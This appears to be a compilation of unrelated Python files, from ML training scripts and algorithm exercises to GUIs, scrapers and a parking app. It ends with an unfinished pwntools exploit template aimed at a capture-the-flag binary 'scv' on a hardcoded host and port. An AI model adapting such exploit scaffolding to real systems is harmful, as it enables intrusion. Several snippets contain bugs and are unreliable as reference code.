from utils.read_datasetBreakfast import load_data, read_mapping_dict
import os
import numpy as np
import torch
from Dataset.VideoDataset import VideoDataset, VideoTrainDataset
import torch.utils.data as tud
from Models.LSTM import LSTM_Model
import torch.nn.functional as F
from sklearn.metrics import accuracy_score
import datetime
import torch.nn.utils as u
import utils.balance_data as b

COMP_PATH = ''

'''
training to load train set
test to load test set
'''
split = 'training'
#split = 'test'
train_split =  os.path.join(COMP_PATH, 'splits/train.split1.bundle') #Train Split
test_split  =  os.path.join(COMP_PATH, 'splits/test.split1.bundle') #Test Split
GT_folder   =  os.path.join(COMP_PATH, 'groundTruth/') #Ground Truth Labels for each training video
DATA_folder =  os.path.join(COMP_PATH, 'Data/') #Frame I3D features for all videos
mapping_loc =  os.path.join(COMP_PATH, 'splits/mapping_bf.txt')

actions_dict = read_mapping_dict(mapping_loc)

data_feat, data_labels = load_data( train_split, actions_dict, GT_folder, DATA_folder, datatype = split) #Get features and labels
validation_split = os.path.join(COMP_PATH, 'splits/val.split1.bundle') #Validation split
val_data_feat, val_data_labels = load_data( validation_split, actions_dict, GT_folder, DATA_folder, datatype = split) #Get features and labels

def train(log_interval, model, device, train_loader, optimizer, epoch):
    model.train()

    losses = []
    scores = []
    for batch_idx, (in_feature, label, seq_length) in enumerate(train_loader):
        in_feature = in_feature.to(device)
        label = label.to(device)
        seq_length = seq_length.to(device)
        packed_input = u.rnn.pack_padded_sequence(in_feature, seq_length, batch_first=True, enforce_sorted=False).to(
            device)

        optimizer.zero_grad()
        output = model(packed_input)
        loss = F.cross_entropy(output, label)
        losses.append(loss.item())

        label_predict = torch.max(output, 1)[1]
        step_score = accuracy_score(label.cpu().data.squeeze().numpy(), label_predict.cpu().data.squeeze().numpy())
        scores.append(step_score)

        loss.backward()
        optimizer.step()

        if (batch_idx + 1) % log_interval == 0:
            print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}, Accu: {:.2f}%'.format(
                epoch + 1, (batch_idx + 1) * batch_size, len(train_loader.dataset),
                100. * (batch_idx + 1) / len(train_loader), loss.item(), 100 * step_score))

    return losses, scores

#val_dataset = VideoDataset(val_data_feat, val_data_labels)
#val_dataloader = tud.DataLoader(val_dataset)

def validation(model, device, test_loader):
    model.eval()

    all_labels = []
    all_labels_predict = []
    with torch.no_grad():
        for in_feature, labels in test_loader:
            in_feature = in_feature.to(device)
            labels = labels.to(device)
            packed_input = u.rnn.pack_padded_sequence(in_feature, torch.LongTensor([in_feature.shape[1]]),
                                                      batch_first=True, enforce_sorted=False).to(device)

            output = model(packed_input)

            labels_predict = torch.max(output, 1)[1]
            all_labels.extend(labels)
            all_labels_predict.extend(labels_predict.long())

    # compute accuracy
    all_labels = torch.stack(all_labels, dim=0)
    all_labels_predict = torch.stack(all_labels_predict, dim=0)
    test_score = accuracy_score(all_labels.cpu().data.squeeze().numpy(),
                                all_labels_predict.cpu().data.squeeze().numpy())
    print('\nTest set ({:d} samples): Accuracy: {:.2f}%\n'.format(len(all_labels), 100 * test_score))

    return test_score

cuda_avail = torch.cuda.is_available()
device = torch.device("cuda" if cuda_avail else "cpu")
epochs = 400
batch_size = 50

learning_rate = 1e-3
log_interval = 30

lstm = LSTM_Model(hidden_rnn_layers = 2, hidden_rnn_nodes = 348, bidirectional=False, fc_dim=128, I3D_feature_size = 400,
                 dropout_rate=0.3, output_size=48).double().to(device)
optimizer = torch.optim.Adam(list(lstm.parameters()), lr=learning_rate, weight_decay=1e-6)

# record training process
epoch_train_losses = []
epoch_train_scores = []
#epoch_test_scores = []

label_dict = b.generate_label_dictionary(data_feat, data_labels)
total_segments = len(data_labels)
for epoch in range(epochs):
    new_data_feat, new_data_labels = b.balance_data(label_dict, total_segments)
    dataset = VideoTrainDataset(new_data_feat, new_data_labels, 50)
    dataloader = tud.DataLoader(dataset, batch_size=batch_size, shuffle=True)
    train_losses, train_scores = train(log_interval, lstm, device, dataloader, optimizer, epoch)

    epoch_train_losses.append(train_losses)
    epoch_train_scores.append(train_scores)
    #if (epoch + 1) % 10 == 0:
    #    test_score = validation(lstm, device, val_dataloader)
    #    epoch_test_scores.append(test_score)
    if (epoch + 1) > 100 and (epoch + 1) % 20 == 0:
        torch.save(lstm, f"./trained/lstm/lstm_" + str(epoch + 1) + ".pkl")

date = datetime.datetime.now().date()
A = np.array(epoch_train_losses)
B = np.array(epoch_train_scores)
#D = np.array(epoch_test_scores)
np.save('./results/lstm/training_losses2_'+str(date)+'.npy', A)
np.save('./results/lstm/training_scores2_'+str(date)+'.npy', B)
#np.save('./results/lstm/test_score2_'+str(date)+'.npy', D)


import tensorflow as tf
c=tf.constant(1)
cluster = tf.train.ClusterSpec({"local":["localhost:2222","localhost:2223"]})
server = tf.train.Server(cluster, job_name="local",task_index=1)
with tf.Session(server.target,config=tf.ConfigProto(log_device_placement=True)) as sess:
    print(sess.run(c))
    server.join()

'''
I tensorflow/core/common_runtime/gpu/gpu_device.cc:906] DMA: 0
I tensorflow/core/common_runtime/gpu/gpu_device.cc:916] 0:   Y
I tensorflow/core/common_runtime/gpu/gpu_device.cc:975] Creating TensorFlow device (/gpu:0) ->
(device: 0, name: GeForce GTX 850M, pci bus id: 0000:01:00.0)
I tensorflow/core/distributed_runtime/rpc/grpc_channel.cc:200] Initialize GrpcChannelCache for job
local -> {0 -> localhost:2222, 1 -> localhost:2223}
I tensorflow/core/distributed_runtime/rpc/grpc_server_lib.cc:221] Started server with target:
grpc://localhost:2223
I tensorflow/core/distributed_runtime/master.cc:193] CreateSession still waiting for response
from worker: /job:local/replica:0/task:0
I tensorflow/core/distributed_runtime/master.cc:193] CreateSession still waiting for response
from worker: /job:local/replica:0/task:0
I tensorflow/core/distributed_runtime/master.cc:193] CreateSession still waiting for response
from worker: /job:local/replica:0/task:0
...
'''


def solution1(find_num,arys,idx):
    for i in range(len(idx)):
        if find_num==arys[idx[i]]:
            return i

    return -1

def solution2(array):
    num=0
    array.sort()
    while array[0]!=array[-1]:
        print(array)
        plus_num=array[-1]-array[0]
        for i in range(len(array)-1):
            array[i]+=plus_num

        num+=plus_num
        array.sort()
    print(array)
    print(num)
    return num

def solution3(array):
    num=0

    while len(array)>0:
        if array[-1] == max(array):
            array.remove(max(array))
        else:
            array.remove(max(array))
            num += 1
    return num

solution2([1,1000,10000])


import tkinter
import tkinter.ttk
from PIL import ImageTk, Image
from typing import Dict, Type

class ComponentContainer:
    def __init__(self):
        self._base_frame = {
            "default": tkinter.Frame
        }

        self._label_frame = {
            "default": tkinter.LabelFrame
        }

        self._combo_box = {
            "default": tkinter.ttk.Combobox
        }

        self._button = {
            "default": tkinter.Button
        }

        self._canvas = {
            "default": tkinter.Canvas
        }

    @property
    def BaseFrame(self) -> Dict[str, Type[tkinter.Frame]]:
        return self._base_frame

    @BaseFrame.setter
    def BaseFrame(self, value: Dict[str, Type[tkinter.Frame]]) -> None:
        """value = Dict[str, Type[tkinter.Frame]]"""
        for target_key, new_value in value.items():
            self._base_frame[target_key] = new_value

    @property
    def LabelFrame(self) -> Dict[str, Type[tkinter.LabelFrame]]:
        return self._label_frame

    @LabelFrame.setter
    def LabelFrame(self, value: Dict[str, Type[tkinter.LabelFrame]]) -> None:
        """value = Dict[str, Type[tkinter.LabelFrame]]"""
        for target_key, new_value in value.items():
            self._label_frame[target_key] = new_value

    @property
    def ComboBox(self) -> Dict[str, Type[tkinter.ttk.Combobox]]:
        return self._combo_box

    @ComboBox.setter
    def ComboBox(self, value: Dict[str, Type[tkinter.ttk.Combobox]]):
        """value = Dict[str, Type[tkinter.ttk.Combobox]]"""
        for target_key, new_value in value.items():
            self._combo_box[target_key] = new_value

    @property
    def Button(self) -> Dict[str, Type[tkinter.Button]]:
        return self._button

    @Button.setter
    def Button(self, value: Dict[str, Type[tkinter.Button]]):
        """value = Dict[str, Type[tkinter.button]]"""
        for target_key, new_value in value.items():
            self._button[target_key] = new_value

    @property
    def Canvas(self) -> Dict[str, Type[tkinter.Canvas]]:
        return self._canvas

    @Canvas.setter
    def Canvas(self, value: Dict[str, Type[tkinter.Canvas]]):
        """value = Dict[str, Type[tkinter.Canvas]]"""
        for target_key, new_value in value.items():
            self._button[target_key] = new_value

    def GetAllData(self) -> dict:
        return {key.replace("_", "", 1): value for key, value in self.__dict__.items()} #dictionary comprehension

class SettingGUI:
    def __init__(self):
        self._game_title = "Avoid Moster | ver1.0"
        self._master = tkinter.Tk()
        self._component_container = ComponentContainer()

    def SettingResolution(self):
        user_screen_width = self._master.winfo_screenwidth()
        user_screen_height = self._master.winfo_screenheight()

        gui_width = 400
        gui_height = 600

        gui_x_position = (user_screen_width - gui_width) // 2
        gui_y_position = (user_screen_height - gui_height) // 2

        self._master.geometry(
            f"{gui_width}x{gui_height}"
            f"+{gui_x_position}"
            f"+{gui_y_position}"
        )
        self._master.resizable(False, False)

    def SettingTitle(self):
        self._master.title = self._game_title

    def CreateBaseFrame(self):
        image_frame = tkinter.Frame(self._master)
        image_frame.grid(row = 0, column = 0, padx = 10, pady = 10)

        setting_frame = tkinter.Frame(self._master)
        setting_frame.grid(row = 1, column = 0, padx = 10, pady = 10)

        button_frame_out = tkinter.Frame(self._master)
        button_frame_out.grid(row = 2, column = 0, padx = 10, pady = 10)

        button_frame_in = tkinter.Frame(button_frame_out)
        button_frame_in.pack()

        self._component_container.BaseFrame = {
            "game_image": image_frame,
            "game_setting": setting_frame,
            "button_out": button_frame_out,
            "button_in": button_frame_in
        }

    def CreateLabelFrame(self):
        setting_label_frame = tkinter.LabelFrame(
            self._component_container.BaseFrame.get("game_setting"),
            text = "game setting label frame"
        )
        setting_label_frame.grid(row = 0, column = 0, padx = 10, pady = 10)

        self._component_container.LabelFrame = {
            "game_setting": setting_label_frame
        }

    def CreateCanvasFrame(self):
        image_canvas_frame = tkinter.Canvas(self._component_container.BaseFrame.get("game_image"),
                                            width = 400, height = 300)
        image_canvas_frame.pack()

        self._component_container.Canvas = {
            "start_menu_image": image_canvas_frame
        }

    def CreateImage(self):
        image_file = Image.open(f"..\\..\\resources\\start_menu.jpg")
        start_menu_image = ImageTk.PhotoImage(image_file.resize((400, 300)))
        # start_menu_image = tkinter.PhotoImage(file = f"..\\..\\resources\\start_menu.png")
        canvas = self._component_container.Canvas.get("start_menu_image")
        canvas.create_image()
        # start_menu_label = tkinter.Label(self._component_container.BaseFrame.get("game_image"), image = start_menu_image)
        # start_menu_label.pack()

    def CreateButton(self):
        test_btn = tkinter.Button(self._component_container.BaseFrame.get('button_in'), text = "테스트 버튼")
        # test_btn.place(x = 10, y = 10)
        test_btn.grid(row = 0, column = 0, padx = 10, pady = 10)

    def CreateWindow(self):
        self.SettingResolution()
        self.CreateBaseFrame()
        self.CreateLabelFrame()
        self.CreateImage()
        self.CreateButton()

    def CreateGUI(self):
        self.CreateWindow()

        self._master.mainloop()

if __name__ == '__main__':
    SG = SettingGUI()
    SG.CreateGUI()


# Find maximum cardinality matching in general undirected graph
# D. Eppstein, UC Irvine, 6 Sep 2003

from __future__ import generators

if 'True' not in globals():
    globals()['True'] = not None
    globals()['False'] = not True

class unionFind:
    '''Union Find data structure. Modified from Josiah Carlson's code,
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/215912
to allow arbitrarily many arguments in unions, use [] syntax for finds,
and eliminate unnecessary code.'''

    def __init__(self):
        self.weights = {}
        self.parents = {}

    def __getitem__(self, object):
        '''Find the root of the set that an object is in.
Object must be hashable; previously unknown objects become new singleton sets.'''

        # check for previously unknown object
        if object not in self.parents:
            self.parents[object] = object
            self.weights[object] = 1
            return object

        # find path of objects leading to the root
        path = [object]
        root = self.parents[object]
        while root != path[-1]:
            path.append(root)
            root = self.parents[root]

        # compress the path and return
        for ancestor in path:
            self.parents[ancestor] = root
        return root

    def union(self, *objects):
        '''Find the sets containing the given objects and merge them all.'''
        roots = [self[x] for x in objects]
        heaviest = max([(self.weights[r],r) for r in roots])[1]
        for r in roots:
            if r != heaviest:
                self.weights[heaviest] += self.weights[r]
                self.parents[r] = heaviest

def matching(G, initialMatching = {}):
    '''Find a maximum cardinality matching in a graph G.
G is represented in modified GvR form: iter(G) lists its vertices;
iter(G[v]) lists the neighbors of v; w in G[v] tests adjacency.
The output is a dictionary mapping vertices to their matches;
unmatched vertices are omitted from the dictionary.

We use Edmonds' blossom-contraction algorithm, as described e.g.
in Galil's 1986 Computing Surveys paper.'''

    # Copy initial matching so we can use it nondestructively
    matching = {}
    for x in initialMatching:
        matching[x] = initialMatching[x]

    # Form greedy matching to avoid some iterations of augmentation
    for v in G:
        if v not in matching:
            for w in G[v]:
                if w not in matching:
                    matching[v] = w
                    matching[w] = v
                    break

    def augment():
        '''Search for a single augmenting path.
Return value is true if the matching size was increased, false otherwise.'''

        # Data structures for augmenting path search:
        #
        # leader: union-find structure; the leader of a blossom is one
        # of its vertices (not necessarily topmost), and leader[v] always
        # points to the leader of the largest blossom containing v
        #
        # S: dictionary of leader at even levels of the structure tree.
        # Dictionary keys are names of leader (as returned by the union-find
        # data structure) and values are the structure tree parent of the blossom
        # (a T-node, or the top vertex if the blossom is a root of a structure tree).
        #
        # T: dictionary of vertices at odd levels of the structure tree.
        # Dictionary keys are the vertices; T[x] is a vertex with an unmatched
        # edge to x.  To find the parent in the structure tree, use leader[T[x]].
        #
        # unexplored: collection of unexplored vertices within leader of S
        #
        # base: if x was originally a T-vertex, but becomes part of a blossom,
        # base[t] will be the pair (v,w) at the base of the blossom, where v and t
        # are on the same side of the blossom and w is on the other side.

        leader = unionFind()
        S = {}
        T = {}
        unexplored = []
        base = {}

        # Subroutines for augmenting path search.
        # Many of these are called only from one place, but are split out
        # as subroutines to improve modularization and readability.

        def blossom(v,w,a):
            '''Create a new blossom from edge v-w with common ancestor a.'''

            def findSide(v,w):
                path = [leader[v]]
                b = (v,w)   # new base for all T nodes found on the path
                while path[-1] != a:
                    tnode = S[path[-1]]
                    path.append(tnode)
                    base[tnode] = b
                    unexplored.append(tnode)
                    path.append(leader[T[tnode]])
                return path

            a = leader[a]   # sanity check
            path1,path2 = findSide(v,w), findSide(w,v)
            leader.union(*path1)
            leader.union(*path2)
            S[leader[a]] = S[a] # update structure tree

        topless = object()  # should be unequal to any graph vertex
        def alternatingPath(start, goal = topless):
            '''Return sequence of vertices on alternating path from start to goal.
Goal must be a T node along the path from the start to the root of the structure tree.
If goal is omitted, we find an alternating path to the structure tree root.'''
            path = []
            while 1:
                while start in T:
                    v, w = base[start]
                    vs = alternatingPath(v, start)
                    vs.reverse()
                    path += vs
                    start = w
                path.append(start)
                if start not in matching:
                    return path     # reached top of structure tree, done!
                tnode = matching[start]
                path.append(tnode)
                if tnode == goal:
                    return path     # finished recursive subpath
                start = T[tnode]

        def pairs(L):
            '''Utility to partition list into pairs of items.
If list has odd length, the final pair is omitted silently.'''
            i = 0
            while i < len(L) - 1:
                yield L[i],L[i+1]
                i += 2

        def alternate(v):
            '''Make v unmatched by alternating the path to the root of its structure tree.'''
            path = alternatingPath(v)
            path.reverse()
            for x,y in pairs(path):
                matching[x] = y
                matching[y] = x

        def addMatch(v, w):
            '''Here with an S-S edge vw connecting vertices in different structure trees.
Find the corresponding augmenting path and use it to augment the matching.'''
            alternate(v)
            alternate(w)
            matching[v] = w
            matching[w] = v

        def ss(v,w):
            '''Handle detection of an S-S edge in augmenting path search.
Like augment(), returns true iff the matching size was increased.'''

            if leader[v] == leader[w]:
                return False        # self-loop within blossom, ignore

            # parallel search up two branches of structure tree
            # until we find a common ancestor of v and w
            path1, head1 = {}, v
            path2, head2 = {}, w

            def step(path, head):
                head = leader[head]
                parent = leader[S[head]]
                if parent == head:
                    return head     # found root of structure tree
                path[head] = parent
                path[parent] = leader[T[parent]]
                return path[parent]

            while 1:
                head1 = step(path1, head1)
                head2 = step(path2, head2)

                if head1 == head2:
                    blossom(v, w, head1)
                    return False

                if leader[S[head1]] == head1 and leader[S[head2]] == head2:
                    addMatch(v, w)
                    return True

                if head1 in path2:
                    blossom(v, w, head1)
                    return False

                if head2 in path1:
                    blossom(v, w, head2)
                    return False

        # Start of main augmenting path search code.

        for v in G:
            if v not in matching:
                S[v] = v
                unexplored.append(v)

        current = 0     # index into unexplored, in FIFO order so we get short paths
        while current < len(unexplored):
            v = unexplored[current]
            current += 1

            for w in G[v]:
                if leader[w] in S:  # S-S edge: blossom or augmenting path
                    if ss(v,w):
                        return True

                elif w not in T:    # previously unexplored node, add as T-node
                    T[w] = v
                    u = matching[w]
                    if leader[u] not in S:
                        S[u] = w    # and add its match as an S-node
                        unexplored.append(u)

        return False    # ran out of graph without finding an augmenting path

    # augment the matching until it is maximum
    while augment():
        pass

    return matching


import requests
from bs4 import BeautifulSoup
import datetime

now = datetime.datetime.now() # 현재 날짜와 시간을 가져옴

url = "https://naver.com"
result = requests.get(url)
bs_obj = BeautifulSoup(result.content, "html.parser")

keyword = bs_obj.find("div", {"class": "ah_roll_area"}) # 검색 범위 간소화
keyword_rank = keyword.findAll("span", {"class": "ah_r"}) # 순위 출력
keyword_word = keyword.findAll("span", {"class": "ah_k"}) # 검색어 출력

print("{}년 {}월 {}일 {}시 {}분 {}초 \n네이버 실시간 검색어\n".format(now.year, now.month, now.day, now.hour, now.minute, now.second))

for i in range(0, 20): # 1위부터 20위까지 반복
    print(keyword_rank[i].text + "." + keyword_word[i].text)


import setuptools
from qop import __version__, __author__

with open("README.md", "r") as fh:
    long_description = fh.read()

setuptools.setup(
    name="qop",
    version=__version__,
    author=__author__,
    author_email="refraction-ray@protonmail.com",
    description="Make quantum operators and algebras native in python",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/refraction-ray/qop",
    packages=setuptools.find_packages(),
    include_package_data=True,
    install_requires=["numpy"],
    tests_require=["pytest"],
    classifiers=(
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ),
)


from pytube import YouTube
from pytube import Playlist
import os

#user input for URL
playlist = 'playlist'

user_input = (str(input("Enter URL of Playlist or Video Here: \n>>")))
if playlist in user_input:
    pl = Playlist(user_input)
    print("Enter a destination For Playlist, Leaving this Blank defaults to current directory")
    destination = str(input(">>")) or "."
    if destination == ".":
        destination = os.getcwd()
    print("Enter a name for the folder:")
    current_folder = os.getcwd()
    new_folder = str(input(">>"))
    path1 = os.path.join(destination,new_folder)
    os.mkdir(path1)
    for v in pl.videos:
        audio = v.streams.filter(only_audio= True).first()
        out_file = audio.download(output_path=new_folder)
        base,ext = os.path.splitext(out_file)
        new_file = base + '.mp3'
        os.rename(out_file,new_file)
        print(v.title + "has been sucessfully downloaded")

else:
    yt = YouTube(user_input)
    audio = yt.streams.filter(only_audio= True).first()

    print("Enter Destination For File, Leaving this blank defaults to current directory")
    destination = str(input(">>")) or "."

    out_file = audio.download(output_path=destination)

    base,ext = os.path.splitext(out_file)
    new_file = base + '.mp3'
    os.rename(out_file,new_file)

    print(yt.title + "has been sucessfully downloaded")


import cv2
import os
import numpy as np
from img_process import signal_picture

file = './data/img/code_4877.png'
# 读取图片
img = cv2.imread(file)
# output = signal_picture(img)
img = cv2.pyrMeanShiftFiltering(img, sp=70, sr=50)
# 转换为灰度图
img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# 将灰度图二值化
ret1, img_inv1 = cv2.threshold(img_gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
cv2.imshow('二值化', img_inv1)
kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))
ret2 = cv2.morphologyEx(img_inv1, cv2.MORPH_OPEN, kernel=kernel, iterations=1)
# ret3 = cv2.erode(ret2, kernel, iterations=1)
# cv2.imshow('close', ret3)
# 高斯降噪
kernel = 1 / 16 * np.array([[1, 2, 1], [2, 4, 2], [1, 2, 1]])
img_blur = cv2.filter2D(ret2, -1, kernel)
# 对高斯降噪后的图像再进行一次二值化
# ret2, img_inv2 = cv2.threshold(img_blur, 127, 255, cv2.THRESH_BINARY_INV)
ret2, img_inv2 = cv2.threshold(img_blur, 127, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
cv2.imshow('test', img_inv2)
if img_inv2[0][0] == 255:
    img_inv2 = ~img_inv2
retval, labels, stats, centroids = cv2.connectedComponentsWithStats(img_inv2, connectivity=8)
stats = stats[np.argsort(stats[:, 0])]
output = []
for i in range(1, retval):
    if stats[i][2] > 20:
        temp2 = img_inv2[stats[i][1]:stats[i][1] + stats[i][3], stats[i][0] + int(stats[i][2] / 2):stats[i][0] + stats[i][2]]
        temp1 = img_inv2[stats[i][1]:stats[i][1] + stats[i][3], stats[i][0]:stats[i][0] + int(stats[i][2] / 2) + 3]

        output.append(cv2.resize(temp1, (20, 20)))
        output.append(cv2.resize(temp2, (20, 20)))
    else:
        temp = img_inv2[stats[i][1]:stats[i][1] + stats[i][3], stats[i][0]:stats[i][0] + stats[i][2]]
        output.append(cv2.resize(temp, (20, 20)))
# for i in range(len(output)):
#     if output[i].shape[0] < 20 | output[i].shape[1] < 20:
#         cv2.copyMakeBorder(output[i], (20 - output[i].shape[1]) / 2, (20 - output[i].shape[1]) / 2, (20 - output[i].shape[0]) / 2, (20 - output[i].shape[0]) / 2, cv2.BORDER_CONSTANT, value=0)

# cv2.imshow('te',output[3])
for i in range(len(output)):
    cv2.imshow(str(i), output[i])
# 调用cv2的findContours来提取轮廓
# contours , hierarchy = cv2.findContours(img_inv1 , 2 , 2)
# cv2.drawContours(img, contours, -1, (0, 255, 0), 1)  # 第三个参数为线条颜色，第四个参数线条粗度
# cv2.namedWindow("im1_drawContour")
# cv2.imshow("im1_drawContour", img)
# cv2.waitKey(50)

if cv2.waitKey(0) == 27:
    cv2.destroyAllWindows()


# Functions
def yes_no(question):
    valid = False
    while not valid:
        response = input(question).strip().lower()
        if response == "yes" or yes_no == "y":
            response = "yes"
            return response
        elif response == "no" or response == "n":
            response = "no"
            return response
        else:
            print("Please enter Yes or No")

# Main Routine
show_instructions = yes_no("Have you played the game before? ")
print("You chose {}".format(show_instructions))


import hitung_parkir as hp
import rekap_data_parkir as rdp

def aplikasi_hitung_parkir():
    while True:

        trig = False
        print("\n--Hitung Biaya Parkir--")
        nomor_plat = input("Silahkan masukkan nomor plat kendaraan Anda (min 3 character): ").lower()
        if len(nomor_plat) >= 3:
            hp.hitung_biaya_parkir(nomor_plat)
            trig = True

        while trig:
            ulang_lagi = input("\nApakah ingin input biaya parkir lagi (y/n)? ")
            if ulang_lagi.lower() == "y" or ulang_lagi.lower() == "n":
                trig = False

        if len(nomor_plat) >= 3 and ulang_lagi.lower() == "n":
            break
    print("\nKembali ke menu utama....\n")
    pilih_menu()

def aplikasi_rekap_data_parkir():
    while True:
        print("\n--Rekap Data Parkir--")
        print("1. Total Pengunjung (Berdasarkan Struk Parkir)")
        print("2. Daftar Peserta Member")
        print("3. Statistik Data Parkir")
        print("4. Kembali ke Menu Utama")
        check_input = input("Silahkan pilih menu berikut (1 - 4): ")

        if check_input.isdigit():
            if check_input == "1":
                print("\n")
                rdp.present_data(1)
                print("\n")
                input("Tekan Enter Untuk Melanjutkan...")
            elif check_input == "2":
                print("\n")
                rdp.present_data(2)
                print("\n")
                input("Tekan Enter Untuk Melanjutkan...")
            elif check_input == "3":
                print("\n")
                rdp.present_data(3)
                print("\n")
                input("Tekan Enter Untuk Melanjutkan...")
            elif check_input == "4":
                break
            else:
                pass

    print("\nKembali ke menu utama....\n")
    pilih_menu()

def pilih_menu():
    print("------Aplikasi Parkir Paramadina------\n")
    print("1. Input Parkir Masuk")
    print("2. Rekap Data Parkir")
    # print("3. Keluar / Exit Program")

    while True:
        check_input = input("Silahkan pilih menu berikut (1 - 2): ")

        if check_input.isdigit():
            if check_input == "1":
                aplikasi_hitung_parkir()
            elif check_input == "2":
                aplikasi_rekap_data_parkir()
            # elif check_input == "3":
            #     break

    print("\nProgram Selesai...")
    print("Yuri Iskandia - Copyright 2020")

pilih_menu()


from collections import deque

def check_if_zero():
    return belts.count(0) < K

def rotate():
    global is_robots,end_point

    #컨베이어 벨트 이동
    conveyor.rotate(1)

    #마지막 위치에 있는 로봇 내린다.
    end_point=conveyor[N-1]
    is_robots[end_point]=False

def robot_move():
    global belts,is_robots
    for i in range(N-2,-1,-1):
        location=conveyor[i]
        next_location=conveyor[i+1]
        #해당 자리에 로봇이 있고, 다음 자리에 로봇이 없고, 다음 벨트의 내구도가 0이 아니면 이동 가능하다.
        if is_robots[location] and is_robots[next_location]==False and belts[next_location]!=0:
            belts[next_location]-=1
            is_robots[location],is_robots[next_location]=is_robots[next_location],is_robots[location]

    #마지막 위치에 로봇이 도달한 경우 제거한다.
    is_robots[end_point]=False

def put_robot():
    location=conveyor[0]

    if belts[location]!=0:
        is_robots[location]=True
        belts[location]-=1

def solution():
    index=0
    while check_if_zero():
        #회전
        rotate()
        #로봇의 이동
        robot_move()
        #로봇 올리기
        put_robot()
        index+=1

    return index

if __name__  == "__main__":
    N,K=0,0
    belts=[]
    is_robots=[]
    end_point=0
    with open("E:\\Codes\\Code-Test-Preparing\\algorithm\\Tasks_By_Algorithms\\Implementation\\input20055.txt","r") as file:
        N,K=map(int,file.readline().split())
        belts=list(map(int,file.readline().split()))
        is_robots=[False]*(2*N)

    conveyor=deque(list(range(2*N)))
    print(solution())


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Capture frames video save its to dir"""

import os
import os.path as osp
import argparse
import tqdm
import cv2
import shutil

from constants import VIDEO_DIR, VIDEO_FRAME_SIZE, TEMPLATE_VIDEO, TEMPLATE_FRAME, FRAME_DIR

def copy_frames(frame_numbers, dir_to_save):
    print("Copying {} frames...".format(len(frame_numbers)))

    for frame_number in tqdm.tqdm(frame_numbers):
        frame_name = TEMPLATE_FRAME.format(frame_number)
        in_path = os.path.join(FRAME_DIR, frame_name)

        if not os.path.exists(in_path):
            print("Frame {} is not saved yet!".format(frame_name))
            continue

        shutil.copy(in_path, dir_to_save)

def capture_frames(frame_numbers):
    print("Capturing {} frames...".format(len(frame_numbers)))

    frame_numbers = set(frame_numbers)
    video_numbers = set(map(lambda x: int(x / VIDEO_FRAME_SIZE), frame_numbers))
    for video_number in tqdm.tqdm(video_numbers):
        start_frame = video_number * VIDEO_FRAME_SIZE
        in_video = osp.join(VIDEO_DIR, \
                            TEMPLATE_VIDEO.format(start_frame, start_frame + VIDEO_FRAME_SIZE - 1))
        reader = cv2.VideoCapture()
        reader.open(in_video)
        for i_frame in range(start_frame, start_frame + VIDEO_FRAME_SIZE):
            ret, frame = reader.read()
            if not ret:
                break
            if i_frame in frame_numbers:
                cv2.imwrite(osp.join(FRAME_DIR, TEMPLATE_FRAME.format(i_frame)), frame)

        reader.release()

def save_frames_to_dir(frame_numbers, dir_to_save):
    """Capture frames video save its to dir"""

    if not osp.exists(dir_to_save):
        os.mkdir(dir_to_save)
    frame_numbers = set(frame_numbers)

    not_captured = []

    for frame_number in frame_numbers:
        frame_path = TEMPLATE_FRAME.format(frame_number)
        frame_path = os.path.join(FRAME_DIR, frame_path)

        if not os.path.exists(frame_path):
            not_captured.append(frame_number)

    capture_frames(not_captured)
    if not os.path.samefile(FRAME_DIR, dir_to_save):
        copy_frames(frame_numbers, dir_to_save)

def main():
    """Parse args and run function"""

    parser = argparse.ArgumentParser(description='Find and Save crops from frames')
    parser.add_argument('frameNumbers', type=int, nargs='+', help='frame numbers')
    parser.add_argument('-o', '--outdir', type=str, default=FRAME_DIR, nargs='?',
                        help='dir to save frames, default=FRAME_DIR')
    args = parser.parse_args()
    save_frames_to_dir(args.frameNumbers, args.outdir)

if __name__ == '__main__':
    main()


import sys
from phone import model

def main()->None:

    try:
        tartomany = int(sys.argv[1])
    except:
        print("HIBA, nem ért. az arg.!, -> A program futása véget ért! Kérem javítsa ki a hibát!")
        return

    if len(sys.argv)<2:
        print( "HIBA, nincs arg.! -> A program futása véget ért! Kérem javítsa ki a hibát!")
        return
    if tartomany==1:
        print("Az argumentumok rendben vannak! Kérem kezdje el begépelni az adatsort!")
    else:
        print("Az argumentumok rendben vannak! Kérem kezdje el begépelni az adatsorokat!")

    devices=[]
    for n in range(tartomany):
        line= input()
        tokens=line.split(';')
        if len(tokens)==4:
            device=model.sphone(tokens[0],tokens[1],int(tokens[2]),tokens[3])
            devices.append(device)

    devices.sort()
    for dv in devices:
        print(dv)

if __name__=="__main__":
    main()


import sys
import heapq

input = sys.stdin.readline
INF = int(1e9)

def dijkstra(graph, N, s):
    q = []
    distance = [INF] * (N+1)
    distance[s] = 0
    heapq.heappush(q, (0, s))
    while q:
        dist, now = heapq.heappop(q)
        for i in graph[now]:
            cost = dist + i[0]
            if cost < distance[i[1]]:
                distance[i[1]] = cost
                heapq.heappush(q, (cost, i[1]))

    distance = [d for d in distance[1:] if d != INF]
    # 감염 컴퓨터 개수, 걸리는 시간
    return len(distance), max(distance)

T = int(input())
for _ in range(T):
    # N : 컴퓨터 개수, D : 의존성 개수, C : 해킹당한 컴퓨터 번호
    N, D, C = map(int, input().split())
    graph = [[] for _ in range(N+1)]
    for _ in range(D):
        # 컴퓨터 A가 컴퓨터 B에 의존,
        # 컴퓨터 B가 감염되면 S 초후에 A 감염
        A, B, S = map(int, input().split())
        graph[B].append((S, A))
    cnt, tm = dijkstra(graph, N, C)

    print(cnt, tm)


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('scv')

host = args.HOST or '10.67.0.1'
port = int(args.PORT or 31176)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
